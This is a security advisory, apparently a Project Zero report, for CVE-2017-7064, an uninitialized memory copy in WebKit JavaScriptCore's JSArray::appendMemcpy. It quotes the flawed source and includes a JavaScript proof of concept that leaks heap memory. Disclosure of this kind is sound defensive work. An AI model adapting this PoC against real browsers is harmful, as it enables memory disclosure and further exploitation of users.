WebKit JSC JSArray::appendMemcpy Uninitialized Memory Copy

` WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy   
  
CVE-2017-7064  
  
  
WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy  
  
Here's a snippet of JSArray::appendMemcpy.  
  
bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)  
{  
auto scope = DECLARE_THROW_SCOPE(vm);  
  
if (!canFastCopy(vm, otherArray))  
return false;  
  
IndexingType type = indexingType();  
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());  
if (type == ArrayWithUndecided && copyType != NonArray) {  
if (copyType == ArrayWithInt32)  
convertUndecidedToInt32(vm);  
else if (copyType == ArrayWithDouble)  
convertUndecidedToDouble(vm);  
else if (copyType == ArrayWithContiguous)  
convertUndecidedToContiguous(vm);  
else {  
ASSERT(copyType == ArrayWithUndecided);  
return true;  
}  
} else if (type != copyType)  
return false;  
  
...  
  
if (type == ArrayWithDouble)  
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);  
else  
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);  
  
return true;  
}  
  
The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.  
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.  
  
PoC:  
function optNewArrayAndConcat() {  
let a = [,,,,,,,,,];  
return Array.prototype.concat.apply(a);  
}  
  
function main() {  
Array.prototype.constructor = {  
[Symbol.species]: function () {  
return [{}];  
}  
};  
  
gc();  
  
for (let i = 0; i < 0x10000; i++) {  
optNewArrayAndConcat().fill({});  
}  
  
gc();  
  
for (let i = 0; i < 0x20000; i++) {  
let res = optNewArrayAndConcat();  
if (res[0])  
print(res.toString());  
}  
}  
  
main();  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`